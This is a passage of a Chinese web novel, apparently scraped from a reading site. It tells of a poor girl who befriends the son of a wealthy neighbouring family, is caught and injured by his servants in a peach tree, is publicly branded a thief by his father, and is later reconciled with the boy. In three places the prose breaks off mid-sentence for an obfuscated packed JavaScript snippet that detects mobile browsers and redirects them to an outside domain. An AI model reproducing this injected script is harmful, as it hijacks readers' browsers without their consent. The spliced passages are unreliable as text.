他搬来椅子，坐在墙下，将石榴拨开，取出果粒放在盘子中。 叶秋水一边吃瓜，一边看着他。 江泠的手很好看，笔挺细长，就算是夏季，他穿得也比别人厚一些，圆领袍扣得严谨，领口整齐端正，他做事细致，剥好石榴，剔掉白丝，再将盛满果实的盘子递给叶秋水，教她，“直接吃，记得吐籽。” “哦！” 她盘腿坐在墙头，风卷残云地吃着东西。 江泠已经习惯她这动静了，平静地看着她吃得满手汁液。 “擦手。”他将准备好的帕子给她，“吃饭前要洗手，吃完也要，进食的时候慢一些，不然容易噎着。” “知道了。” 叶秋水团着帕子，细细擦拭手指，“你的帕子我弄脏了，我回去洗干净给你。” “不用。”江泠说：“给你用，我有很多。” 他有许多帕子，洗脸用的，洗手用的，擦汗用的，就连饭前饭后都是不同的。 叶秋水知道他讲究，规矩多，很爱干净。 她擦完手，仔细将手帕叠好，收进衣襟内。 已经过了亥时，江泠要就寝，叶秋水一听到打更声，不用他提醒就灵活地顺着墙爬下，还不忘小声告诉他，“江宁，我明日还来找你玩。” 对此，江泠从来没有说过好，或不好，他一直是一副冷冰冰的模样，有时候叶秋水以为他不愿意和她好，然而第二日，江泠依旧会给她准备一盘食物。 他好像就长了这样一副冷冰冰的脸。 江家的仆人终于意识到桃子熟了，一日午后，江泠的书童站在墙下，抬头打量枝繁叶茂的桃树，“郎君，桃子熟透了，红通通的，可好看。” 江泠在练字，闻言瞄了一眼，桃子个大圆润，丰沛的汁水撑满果皮，他若有所思。 院子里的那半面果子叶秋水先前没有来得及偷走，这些天，她都老实本分，从未逾矩。 “郎君吃不吃桃子？不如摘下两颗尝尝。” 书童讨好地说：“听说种下这棵树的徐公没多久便升迁入京，宅子上一任主人秦公也仕途顺利，想来这棵桃树有灵性，郎君日日在这里看书，来年省试，定金榜题名！” 书童说完，未见江泠脸上的神情有什么变化，他垂首看书，对恭维话充耳不闻，书童见状讪讪。 入夜，仆人在屋子里点上熏香，江泠还没有吩咐他们离开，就瞥到墙头有一个跃跃欲试的身影。 对上她的视线，江泠看到叶秋水狡黠的目光，她对他挤眉弄眼，古灵精怪。 江泠警告地看着她，而后吩咐屋中仆人离开。 书童在磨墨，闻言有些纳闷。 这些天，郎君就寝的时辰越来越早了，有时候才戌时就赶院子里的人离开。 他不情愿地放下墨锭，门一阖上，叶秋水立刻跳出来，“江宁！” 她动作古怪地爬上墙，怀里似乎抱着什么东西，小心翼翼。 江泠从屋中走出，“你怎么来这么早，他们都还没有走，看到你就完了。” “不会的不会的。” 叶秋水笑嘻嘻说：“我很警惕的，我有东西要送给你，太晚了就不好啦。” 江泠愣了下，“什么？” “是荷花！” 她从身后捧出一株含苞待放的荷花，叶片青绿，花色秀丽剔透，叶秋水保管得很好，难怪她方才爬墙的动作那么别扭，原来拿着这样的东西。 “给你。”叶秋水递给他，“我今日帮鱼桥的张阿嫲卖莲蓬，她送给我的，放在水里可以养许多日，开花很好看。” “还有这个。”叶秋水又爬下墙，很快再次爬上来，端着一个豁口的碗。 她笑着说：“也是张阿嫲送我的，我洗完手剥的，给你吃。” 上次江泠帮她剥石榴，这次她也将莲子剥好，洗干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496457|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净送给他，莲子要吃新鲜采摘的，入夏炎热，放一夜可能会坏，叶秋水从鱼桥回来，迫不及待爬上墙。 江泠认出碗里的是什么，没有立刻接，他吃过用莲子做的点心，喝过莲子银耳羹，莲子对富奢的江家来说，实在谈不上稀奇，但对叶秋水来说却是难得的好东西。 他摇头，“我有东西吃，家里每日的吃食都吃不完，你不用给我带。” 但叶秋水并没有收回，她还是笑盈盈的，将碗推给他，“给你。” 她就是这样，警惕的时候警惕，可一旦相信谁，会毫无保留地献上一切。 江泠拗不过她，接了碗，将荷花插在窗台前的花瓶中，坐在墙下静静地吃莲子。 入口清甜，又微微苦。 叶秋水满怀期待地看着他。 “好吃的。” 江泠给她回应，她便开心地笑。 “你父亲这几日回来了吗？” 江泠问道。 “没有。”叶秋水摇头，“我已经许久没有看到他了。” 叶大酗酒，十天半月不回家是常事，叶秋水不在意，她巴不得叶大永远不回家。 “要是他回来后找你麻烦，你还可以躲到我这里。”江泠一边吃莲子，一边告诉她，他想起他先前说过下不为例，于是顿了顿，补充道：“破例再让你进来一次。” “知道了。”叶秋水嘿嘿一笑。 江泠想起什么，又说：“过几日省城有考试，我不在家中，你要是饿了就过来摘桃子吃，桃子熟了。” 省城为了选拔人才，隔不久就会有考察，年末还有评优，才学好的人会被举荐到京城，之后进入国子监就学，成为朝廷官员的预备份子。 叶秋水追问，“那你什么时候回来？” “大概五日后。” 叶秋水低下头，掰着指头数了数，一天就是一根手指。 她数完，重新扬起嘴角，“好！我五日后再来找你玩。” 省城不远，一来一回不过三五日，但江家对此很重视，不敢懈怠，早早备好马车，在省城租下昂贵僻静的宅院供江泠这几日居住。 江泠不在，叶秋水也就没有再去江家，因为有江泠的投喂，叶秋水不再每日吃不饱饭，她记得江泠的教诲，知道偷盗是不对的，所以没有再偷过东西。 六岁的孩子暂时干不了什么活，不能偷，那便只能捡，曲州有港口，每日都有大船停靠，码头的工人赤着膊搬运货物，有时候会有食物从运输的箱子中滚落。 叶秋水有一日捡到一小串葡萄，她带回家洗净，本来想等江泠回来分给他，但葡萄坏得很快，最后她只能自己吃了。 帮人跑腿，到城外挖野菜，偶尔赚几枚钱，比不上偷窃来得快，但叶秋水没有再考虑过这个方式，她也是受过教导的人，绝不会再偷东西。 江泠不在的时候，仆人每日都会过来洒扫，江泠身边有一个长随叫做言吉，正是前几日说要摘桃子的仆人，也是他的书童之一。 这次江泠去省城考试他并没有同行，每日帮离家的三郎晒书或是整理书房，为窗台旁的荷花换水，言吉觉得奇怪，也不知道这荷花是从哪里来的，只知道某日清晨他来院子里唤三郎去书院时，这株荷花便已经出现在房中了。 三郎很宝贝这株荷花，浇水看养都是他亲自动手。 除此之外，言吉还觉得他有许多奇怪的地方，例如三郎睡得越来越早，吃宵夜的频率也越来越高了。 8. 误解 气候越来越炎热，江家桃树上的果子已经熟得不能再熟了，言吉看了许久，对其他人说：“将果子摘下吧，现在已经熟透了，再放下去就过头了，怕是会招来虫子，泠哥儿爱干净，若是院子里都是飞虫，还怎么看书。” 几人颔首，觉得他说得有道理，找来箩筐，竹竿，准备将树上的桃子全摘下，不摘不要紧，一摘才发现，树上半面的枝干都是光秃秃的，朝外的一侧被人摘得干干净净，一颗果子也不剩下，就连宅院内有一片也惨遭毒手。 江家的仆人惊呆了，偷窃之人很警惕聪明，只偷朝向院外的那一侧，后来墙外没得偷了，便胆大包天地偷到院子里来，这桃树枝繁叶茂，仆人爬上枝干，发现好几处都有被人踩踏的痕迹。 “这……会不会是三郎自己想吃桃子摘的？” “怎么可能！”有人反驳，“三郎最知书达理，怎么可能做出爬树上墙的事情，他要想吃桃子知会我们一声不就是了？” “墙外就是北坊，定是北坊的穷鬼偷走的。” 言吉冷哼，“胆大包天，都偷到江宅中了，这还得了？” 言吉是家生子，虽然在大户人家为奴为婢，但怎么也比贫民窟里的人强上许多，他一向瞧不起北坊的人。 “要不要告诉老爷他们？” 有人问道。 “不行，告诉老爷，那不是明摆着说我们没尽到责任，连贼人翻墙进来都不知道，偷东西是小，伤了人怎么办，倘若三郎有什么闪失，我们怎么同老爷夫人交代？” 从前江泠受了风寒，只是咳嗽两声，院里的人都要被罚。 众人闻言，也都垂下头，“就这么放任不管？” “哪里能？”言吉眯了眯眼，细细打量桃树与高墙，“三郎去了省城，这几日院子里没有人，正是好时机，那贼人定然还会来的，抓住他，打一顿，料他不敢再犯。” 几人敲定，当做无事发生，照旧洒扫院落，整理屋中床榻，他们笃定，北坊贪得无厌的穷鬼，尝到一点甜头后一定还会再翻墙偷桃。 三伏天的时候，曲州热得似乎能煎人，叶大喝完酒比以前更加暴躁，叶秋水只好成天躲在外面，夜里摸黑回家，暑夏的夜里连风都是热的，叶秋水爬上墙，躲在树影里乘凉，江宅的桃树高大繁茂，落影下很清凉。 今日是五日的最后一日，叶秋水爬上墙，喊道：“江宁，江宁！” 院里很黑，并没有回应，叶秋水喊了几声后就不喊了，她有些纳闷，掰着指头又数了几遍，确认是今日不错，但不知为何江泠不在。 叶秋水仰面躺在墙头，星光透过树缝映下，叶秋水伸手去抓，没有人理她，她就自己和自己玩，也很开心。 肚子咕噜噜叫了两声，叶秋水想起前几日江泠给她的点心的味道，忍不住舔了舔嘴唇。 这两日她没有吃饱过，叶秋水想起江泠临走前说过的话，若是饿了可以摘桃子吃，她坐了起来，看了眼无人的院落，顺着树枝爬进墙内。 桃子已经熟透了，比她前段时间偷采时还要个大香甜，她不禁想，这样的桃子，肯定不止卖到先前的三文。 叶秋水伸出手刚想要摘下，又想起江泠教导过她的，不问自取即是偷，虽然他说过她可以吃，但是叶秋水觉得，还是要当面经过对方的同意才行。 她现在不是没人教的小孩。 想到这儿，叶秋水缩回手，准备顺着墙垣爬回自己家。 正当她刚要转身时，黑漆漆的角落忽然亮了起来，有人大喊：“无耻贼人，胆大包天，竟然偷到江宅中了，看我不抓住你，打断你的手脚，将你押送官府！” 叶秋水愣住，低头一看，有几人不知从何处窜出，提着灯与棍棒，凶神恶煞，为首的猴似的，张开手便顺着树干往上爬。 叶秋水反应过来，立刻往墙头爬去，身后言吉穷追不舍，他是个十五六岁的大孩子，两腿一蹬瞬间爬上树，伸手一把抓住叶秋水的衣领。 两个人尚卡在墙头与树枝间，叶秋水双手扒住砖石，一半身子几乎腾空，后领被言吉抓住，他压低声音，咬牙切齿，“你跑什么，敢做不敢当？我可亲眼瞧见你偷东西了！” “放手！” 叶秋水蹬着腿要踹开他，言吉不依不饶，他势要将这贼人抓住，一吆喝，树下几人也跟着伸出长竿，架住想要逃跑的叶秋水。 她到底是个孩子，惊慌失措，挣扎间，墙头的砖石滑动，叶秋水手一松，整个人“唰”地从树上砸下。 院子里静了一瞬，接着爆发出孩童的哭叫声。 这桃树高度不低，从上面摔下就是大人也要吃些苦，更何况是个瘦弱的孩童。 言吉呆愣愣地卡在树上。 叶秋水后背着地，摔得眼冒金星，被二人拉扯间抖落的桃子劈头盖脸地砸下来，汁水迸溅，十分狼狈。 方才黑灯瞎火不敢确定，直到人掉在地上，众人才发现那只是个孩子，有一个仆人手忙脚乱地上前，想要扶起叶秋水，但一碰到她她就惊嚎，声音凄厉，像是摔坏了骨头。 叶秋水躺在地上大哭，言吉又怕又恼，怕的是真摔死人，还死在江宅里，恼的是这小贼还敢嚎叫，要是惊动老爷和夫人该如何是好。 “好了，你不要叫了！你哭什么哭，你个偷东西的还有脸哭！” 言吉握紧拳头，恐吓她。 叶秋水不理他，依旧哭得大声。 她心里又恼恨又害怕，她没有偷东西，这些人是从哪里来的，江泠呢，不是说好今天回来，为何不见人影？ 叶秋水哭得越来越凶，有人不禁道：“怎么回事？不会摔出毛病了？这可怎么交代？” 言吉汗涔涔地从树上爬下，走上前，冷哼，“我可没有推她，她……她自己落下！偷人东西，也是活该的。” 有仆人打量地上的小孩几眼，道：“墙后面是一户姓叶的人家，这小贼怕也就是那家的孩子了，叶家大人是个懒汉酒鬼，媳妇不知道是死了还是跑了，也不管教小孩，这孩子没人教，哎，其实也怪可怜的。” 言吉作为家生子，自诩身份要比北坊的野孩子高一些，闻言，又哼了一声，“穷就可以偷东西啦，明日可不得杀人？” “那你说怎么办？” 另一仆人问他，言吉说：“不能由着她哭，打扰到二爷和夫人休息就不好了，堵住她的嘴，丢出去。” “这……这孩子哭成这样，怕是摔伤了，就这么弄出去……” 言吉不在意，“她自己摔的，谁叫她好的不学，偏要做贼，与我们何干，没打死就不错了，丢出去。就是三郎来了，也是这么处置。” 三郎克己复礼，谨守礼教，最见不惯这种偷鸡摸狗的小人。 叶秋水一边哭一边抹眼泪，听到他们的交谈声，哭得更加厉害。 这哭声愈来愈大，竟然真的惊动了主院的江秀才，他披衣而起，“什么动静？” 另一处院子的宋氏也听到声音，估摸声音是从三郎院里传来的，连忙起身，面色担忧地赶过来。 三郎还未回来，这是出了什么事。 夫妻二人先后赶来，隔着不近不远的距离，看上去貌合神离。 叶秋水认出男人是江泠的父亲，也是县衙的主簿，一旁的贵妇人，哪怕卸了妆面，素衣裹身，也难掩一身雍容矜贵，想必就是江泠的母亲无疑。 江二爷问：“发生什么事了，这么晚了什么动静，你们都在这里干什么？” 话音刚落，他就瞥到地上的人，不远处的宋氏惊了一下，掩面低呼，“谁家的孩子，怎么在这里？” 言吉开口，“老爷，夫人，三郎院子外住了个贼，经常爬墙过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496458|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来偷东西，今夜都偷到三郎院子里来了！” 叶秋水听到声音，哭着大喊，“我没有偷，我没有偷东西！” 江二爷一听吓了一跳，快步踱过来，“真的？何时闯进来的，可有伤人？” 言吉见她狡辩，冷哼一声，“早就来了，天一黑就瞧见她鬼鬼祟祟，嚣张得厉害，给王大的脸都挠花了。” 言吉伸手指了指一旁的一名仆人，他的脸上有三道抓痕。 江二爷走上前，停在叶秋水面前打量。 这是个面黄肌瘦，豆芽菜一般的孩子，仔细辨认能看出是个女孩，脸颊瘦削，身上一块肉也没有，一双泪汪汪的眼睛倒是大而有神，脸颊上沾满泥，从手到脚哪里都是脏兮兮的。 她坐在地上，抬着手，一边哭一边狠狠抹眼泪，嘴里是含糊的曲州话，呜呜咽咽，“我没有偷东西。” 言吉凶她，“你没有偷东西你爬上墙干嘛？看星星看月亮吗？少来，我都亲眼瞧见你摘桃子了，你可别说，树上那一半的桃子都是被风刮跑的！” 叶秋水哑口无言，她的确曾经偷过江家的桃子。 宋氏听到有人进院子，如临大敌，连忙招呼身后的丫鬟妈妈们，“快快快，你们将三郎的屋子仔细看一看，可有少什么，床褥被子都得丢掉，换上新的后再用艾草将整个屋子都熏一熏。” “是！” 二夫人宋氏出身大族，家中也有做官的，当年家中长辈看中江二爷的才学与品性，赌他日后高中，将女儿下嫁与他，但江二爷科举多年无果，到如今也只是个秀才，年过四十才捞了个县衙主簿的官职，实在算不上什么。 宋氏讲究，本就瞧不起低贱的商户子弟，也看不上江二爷，夫妻俩关系一般，常年分房居住。 一群人走进江泠的屋子，检查一番，并没有少什么，倒是窗台上多了一株荷花，还有一些不明所以的小石头，他们不知道，这些都是叶秋水送给江泠的，她喜欢在湖边捡一些亮晶晶的石头，不过被江泠警告过不准靠近湖畔后，叶秋水就再也没去过了。 仆人们将旧的床褥与被子捧走，像脏东西一样丢掉，再换上新的，用艾草将整间屋子从里到外都熏了一遍。 江二爷往前走了两步，停在桃树下，抬头。 墙算不上高，但也不矮，他知道一墙之隔外就是北坊的贫民，但没想到居然有人会趁夜攀上江府的院墙偷盗东西。 江二爷收回目光，招来一人，“去把安大夫请来，给这孩子看看有没有摔出什么毛病。” 夏乏秋困，二夫人这两日胃口不佳，娘家安排了一个大夫为她调理身子，如今就住在江宅中。 仆从立刻去喊人，不一会儿，安大夫赶过来，他拎着药箱，小心翼翼扶起叶秋水，翻来覆去地摸她的后背与四肢，说：“没摔坏没摔坏，这孩子看着瘦，身体倒是挺硬朗，骨头没事，就是不知道内府怎么样，老夫开两幅方子，喝几日就好了。” 江二爷颔首，侧目说：“言吉，照着方子去抓药给她。” 言吉瞪大眼睛，“老爷，这可是个贼！” 江二爷仍道：“快去。” 言吉只能愤愤不平地离开。 叶秋水哭累了，坐在树下低头抹眼泪，后背火辣辣地疼，宋氏觉得困倦，由丫鬟扶着回房休息，临行前还不忘吩咐仆人，“下次不准放这些人进来，脏死了！” 她捂着鼻子，看上去很嫌弃，瞪了眼江二爷，“找的什么地方，居然和北坊靠在一起，三郎要读书呢，北坊这么吵闹，一群乱七八糟的人都在这附近，你让三郎怎么读书？” 宋氏不喜欢江二爷，当着一堆下人的面训斥他也毫不留情，江二爷神色僵了僵，却并没有说什么，只能赔笑。 言吉将药拿过来，安大夫叮嘱叶秋水要如何服用，而后她就被送回了家中。 9. 回家 这件事后，江二爷连夜让人重筑了靠北的院墙，足足加高了快一倍，那一半探墙而出的桃树枝被砍掉，再也无法逾墙。 叶秋水无奈地看着高墙筑起，桃树枝一片片落下，心里气愤又难过。 随后，江二爷吩咐家中仆人将桃树另一半所结的果子摘下，装入箩筐，用扁担挑起，送往北坊。 他要将这些桃子分给北坊的贫民。 贫困窘迫的北坊这日突然驶进来一辆简雅的马车，上面走下来一个儒雅随和的中年男人，一袭青衫，笑容和煦。 北坊的矮旧民居歪七扭八，紧紧贴在一起，杂乱无序，像是厚重大地上生出的一排排疮疤，听到有铜铃声响，众人纷纷探头张望。 一筐又一筐的桃子从马车上搬下，仆人将这些果子分发给北坊的穷人。 叶秋水听到动静，也从家中走出。 昨日她后背疼得厉害，虽然江家的大夫说她没什么大碍，但叶秋水脱下衣服，看到后背有一大块淤青，疼得她怎么都睡不着。 今日起来，察觉腰上又肿了一片，脚有些扭了，她难得没有起大早去街上捡别人丢下的烂叶菜。 叶秋水穿着赭色短衫，衣服太短，还是她三四岁时母亲缝制的，穿了许多年，缝补多次，已经短太多，紧贴在身上，露出一截腰。 没有大人给她扎头发梳洗，叶秋水每日都是灰头土脸的，她也很少会拾掇自己，一个无人看管，几乎等于没爹没娘的女孩，很容易被人拐走，或是长得好看些，教些琴棋技艺，养几年，可以卖得一个好价钱。 叶秋水头发乱糟糟，脸也脏，除了一双圆溜溜，神采奕奕的眼睛，旁人看她，可能连男女都认不出来，难怪总被人认作乞儿。 叶秋水起先不知道是谁来到北坊，她好奇地挤进人群，江家的仆人在发放桃子，是三郎院里的那棵桃树结出，虽然被叶秋水偷走许多，但剩下的仍旧装满了三箩筐。 最前面的是江二爷身边的长随，昨夜也在场，甚至帮叶秋水叫来大夫，叶秋水瞧见他们，愣了一下，不明白这群人为什么会出现在这里。 下一刻，那名仆从认出人群中的叶秋水，笑着将不明所以的叶秋水拉出来，领到江二爷面前，“老爷，是这个孩子。” 江二爷眉梢轻挑，唤她到身前。 叶秋水听不懂江二爷说的官话，她愣愣地上前，江二爷蹲下身，抚摸着她的头发，目光慈爱，语重心长地说：“富与贵，是人之所欲也，不以其道得之，不处也；贫与贱，是人之所恶也，不以其道得之，不去也。君子去仁，恶乎成名？君子无终食之间违仁，造次必于是，颠沛必于是①。” 叶秋水一脸莫名：这是在说什么东西？她怎么一个字也听不懂？ 江二爷语调柔和，像是在教导自家晚辈，“孩子，以后可不能再做这样的错事了，你我毗邻，有什么难处，尽管来江府找我，本官自会帮你渡过难关。” 他说完，叶秋水依旧觉得茫然，江泠和他爹一样说话文绉绉的，但要是她说她听不懂，江泠就会用她能理解的方式教给她听。 但江二爷不一样，他说完直起身，并没有想要解释给她听的意思。 看热闹的人群交头接耳，有人向江家的仆从打听，得知这叶家小儿数次攀墙偷盗江家财物，昨夜甚至被当场捉住，但江主簿宽宏大量，并未与小儿计较，甚至派人送她归家，请大夫为她看伤，隔日又特地前来探望，还给其他贫民也送了桃子。 这世道，这般仁义善心的官人已经不多了。 众人议论纷纷，有夸赞敬佩江二爷的，也有对叶家小儿指指点点的。 叶秋水懵懂无知，听不懂江二爷那些“君子”，“也啊乎的”的话是什么，但可以看得出，自从他出现，周围的人看向自己的目光便不一样了。 她有些无助，明亮的眼睛里露出茫然与惶恐。 桃子分发完，江二爷在恭维声中乘车离去，叶秋水抱着桃子，听到有人喊她，“水丫头，你居然是个贼，还偷到江主簿家中去了，幸亏江主簿宽宏大量，不同你这个贼计较，还请大夫给你看伤，送你东西，换作我啊，早就将你打断腿，送去官府了！” 众人七嘴八舌，看着叶秋水取笑。 他们用的是曲州土话，叶秋水又从小生活在北坊，听得懂他们在说什么，她脸上显露出窘迫，没有理会那些人的话，抱着桃子闷头跑进家中。 铜铃声穿过坊市，江二爷听着一声又一声的恭维声，摆了摆手，脸上是平淡随和的笑容，众人心想，江主簿果真如传说中所言，平易近人，温善正直。 回到家中，刚下车，江二爷便吩咐仆人端来一盆水，仔细净手。 另一处院子，宋氏正低头和婆子们一起打牌九。 听到丫鬟说起今早的事，宋氏冷笑，“伪君子，瞧见他那装模作样的笑脸就犯恶心，装什么装。” * 省城的考试结束后，江家主宅派人来问，原来是老夫人想念孙儿，要接江泠过去住几日。 老太爷与老夫人子女众多，尤其疼爱孙辈，前几年江泠随父母待在姑苏时，族中便时常差人过来探望，如今搬回曲州，祖父母更是隔三差五便要江泠回身边居住。 江泠敬爱长辈，省城的考试结束后去两位老人家膝前孝敬了几日，等再回到家中时，已是小半月之后了。 宋氏早早安排人在门前等着，马车刚一入巷，立刻有人迎上前，二夫人身边的刘妈妈笑着说：“三郎回来了，夫人在里间等着呢，先将外衣换下，净一净手，饭已经备好了。” 江泠脱下外衫，低头洗手。 宋氏上前，扶着他的肩膀上下打量，问：“怎么去了这么多日，那边可有人欺负你？” 宋氏是大家族嫁过来的女儿，就是下嫁，那也是江家攀不上的贵妇人，自视清高，只与官员女眷往来，一向觉得江家组惹市侩，圆滑，总担心弱不禁风的江泠与他们一起会被欺负。 “没有。” 江泠说：“祖母的身体不比往年了，母亲，过段时日我还想去看望她。” 宋氏神色寡然，“随你，先吃饭吧。” 宋氏拉着他入席，絮絮叨叨，“你前几日叫人回来传信，说想吃羊肉包子，料到你今日回家，厨房早早就备着了，三郎，你怎么会突然想吃这个，你以前从来不吃膻腥的东西。” 江泠目光微动，神情如常，脸不红心不跳地说：“突然就想吃了。” 他嘴上虽然这么说，可席间筷子却一次没往那个方向伸过。 这段时间江二爷基本没有回过家，只说公务繁忙，用膳时只有母子二人。 吃着吃着，宋氏随口道：“对了三郎，忘了同你说，你的院子搬到南边了，你以后就在那里读书，远离北坊，没人打扰，清静。” 江泠怔了一下，“为什么搬走？” “你不知道，你的院子进贼了！”宋氏秀眉一拧，“桃树上的果子被偷去大半，这倒不要紧，若是贼人闯进你住的地方，伤了你就不得了了，以防万一，你搬去朝南的屋子住。” 江泠神色顿了顿，“贼？” “是啊。”宋氏一边不停给他夹菜，一边说：“是北坊的孩子，又脏又臭，乞儿似的，其实她也没偷什么，只是摘了几个桃子，但谁知道日后还会发生什么，这院墙连孩子都防不住，自然也防不住歹人，前几日已经叫人加高了。” 江泠呆了一瞬，确认宋氏口中说的就是叶秋水，但她不可能再偷东西。 他道：“我已经习惯那间院子，我不想搬。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496459|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你不用担心，南边的屋子一切陈设与你从前住的那间一样，甚至更亮堂，适合你读书，你的东西已经全部搬过去了，书也给你收拾好了。” 江泠张口，还要再说什么，宋氏便抬起手，制止住他的话语，“好了，就这样，你搬过去就是了。” 宋氏和江二爷性格虽然截然不同，一个跋扈，一个温和，但对于江泠，他们都足够强势，说一不二，不容反驳。 儿子是他们最得意的作品，只能由他们来打造装饰。 江泠深知父母的脾气，因此不再试图抵抗，“之后那个贼怎么样了？” “自然是赶回家了，小小年纪，还是个姑娘家呢。” 江泠缓慢地扒拉着碗里的东西，“你们……小贼被打了吗？” “没有，听言吉他们说，她自己吓得从树上摔下，没人打她。” 宋氏眼底轻蔑，“得亏是个小孩，若是大人，非打断腿，让他不敢再擅闯江宅，真是无法无天。” 江泠心不在焉地“嗯”了一声。 宋氏告诉他，“没爹娘教就会这样，一个姑娘，要是再大一点被旁人知道，不知道要传出什么样的话。” 江泠没有回应，他已吃不下饭。 用完膳，江泠让下人帮他将桌上的羊肉包子用油纸包起，他告诉宋氏，他要带回院子留着夜里看书时饿了吃。 当江泠表达过自己不想搬走的意愿，但遭到拒绝后就再也没有提起时，宋氏对此很满意，她是雍容华贵，养尊处优的名门妇人，她理当拥有一个超过所有人的儿子。 江泠恪守礼教，一心求学，从来没有让父母操心过，这是宋氏可以永远在婆母妯娌，甚至是娘家人面前昂着头的底气。 用完膳，宋氏照例来检查儿子的功课。 江泠坐在窗前，低头看书，身姿端正，少年一天一个模样，个头已经快要赶上她。 她问什么，江泠都能对答如流，宋氏微笑着颔首，离开时下巴扬得比来时还高。 她走后不久，江泠又低头看了会儿书，等夜深人静时，仆人也离开，他拿起放在一旁的油纸包，摸黑离开院子。 * 虽然已经过去快要一个月，但在书院里，孙仲言仍旧念叨着那日被人摸走荷包，还被嚣张的小贼抓掉几缕头发的事情，言语之中，大有抓着这件事情不放，誓要给对方一个教训的意思。 但他再也没有碰到那小贼。 原因是叶秋水最近不再上街到处找吃的，她以前也曾小偷小摸，但一个孩子，失主骂两句便也得了，从未有人真的把她怎么样，有时候邻里看她蹲在角落和野狗一起抢别人扔掉的东西，觉得她可怜，甚至会送她一颗芋头，或是凉透的炊饼。 但自从江二爷在北坊那一出后，旁人都喊她贼，北坊的孩子们更加不愿意和她一起玩，大人们对她指指点点，叶秋水以前蛮横粗鲁，上树打架样样精通，北坊和她抢吃的，反被她揍过的孩子很多，现在他们合起伙来欺负她，叶秋水干脆不出门了。 她吃着家里的存粮，快要七岁的叶秋水敏锐地察觉到他们对她的恶意来自于什么，她也似懂非懂，虽然那日看到的江主簿一脸慈爱，但是叶秋水还是有些排斥，甚至连他们送来的桃子也不吃了。 夏日炎炎，鲜嫩的桃子放不了多久，渐渐变软，发黑，叶秋水穷惯了，饿惯了，还是不忍浪费食物，最后将它们全部吃去，夜里腹痛难忍。 叶大已经许久不回家，叶秋水一点也不担心，她更怕叶大会回来抢她的钱，夜里肚子疼，叶秋水蜷缩在草席上，难受得翻来覆去。 忽然，她听到一声轻唤，似隐似现，压着声音，有些急促。 竞像是从高墙上传来的。 “叶、叶……秋水！” 10. 和好 叶秋水仔细辨认了一会儿，才意识到是有人在喊她，说着不太正宗的曲州话。 声音压得很低，像是不敢喊出声似的。 她爬起来，站在窗口张望。 垣墙被加高，江泠又搬到别的地方，再也没有光亮能越过墙照进叶秋水家中，叶家是赤贫户，点不上油灯，整个院子笼罩在黑暗中，什么也看不清，叶秋水费劲地看，借着月光，终于看到墙头挂着个黑乎乎的影子。 她顿时一吓，满身戒备。 “叶秋水……” 似乎是听到开窗的声音，墙头的影子动了动，声音微弱，下墙的动作颤颤巍巍，“你在家吗？” 叶秋水终于认出来，墙上的是江泠。 她很诧异，江泠怎么会在墙上，但是她想起前几日在江家被一群人围着，被污蔑是贼，摔得一身淤青，又被邻里指指点点的屈辱，她记得江秀才与他夫人眼里的嫌弃鄙夷，以及觉得她呆过的地方脏，将被褥都丢出去的场景，“嘭”地关上窗，“你走开！我不要看见你！” 叶秋水把窗户关得很紧，她头也不回地钻进屋子里，一点也不管身后的动静。 外面安静了许久，突然，窗户被轻轻叩响，声音轻得像是小狗爪子挠了一下，不仔细听甚至察觉不到。 叶秋水抬起头，盯着窗户，那声音停顿了片刻，又轻轻响起。 叶秋水终于忍不住，翻下床榻，她绷着脸，看上去凶巴巴、恶狠狠地拉开窗户。 然后她就看见一个很狼狈的江泠。 发髻乱了，衣摆也被勾得乱七八糟，掌心满是擦痕，还流着血。 江泠垂着眸子，看上去无措又可怜，他显然被叶秋水生人勿近的架势吓到，呆了呆，而后抿着唇，将紧紧护在怀里的东西递给她，“你吃。” 晚膳时热乎乎，白胖胖的羊肉包子，此刻被挤压得歪歪扭扭，汤汁将油纸包渗透，不大好看。 江泠脸上的神情更加难堪。 虽然包子的形状不太好看，但叶秋水闻到包子的香味后，不禁咽了咽口水，眼睛直勾勾地黏在上面，但她还是很有尊严地冷哼一声，“你拿走，我不吃你家的东西。” 听到这话，江泠有些急，他将手又往前伸了伸，推到她面前，“给你。” 他看过那么多书，理当满腹经纶，口若悬河，结果嘴还很笨，不会哄人。 叶秋水想要推开他，刚伸手，肚子就很不争气地响了一下。 这几日她躲着不敢出门，白天吃了两颗坏掉的桃子，腹痛半日，这会儿才好一些，饥饿顿时袭来。 江泠看着她，大眼瞪小眼，默默地又将包子往她的方向推了推。 叶秋水犹豫片刻，伸出手，一把将包子抢了过来。 她小声地哼了哼，谁会和食物过不去。 见她将包子拿去吃，江泠很轻很轻地扬了下嘴角。 吃人嘴软，拿人手短，叶秋水也不好意思再臭着一张脸。 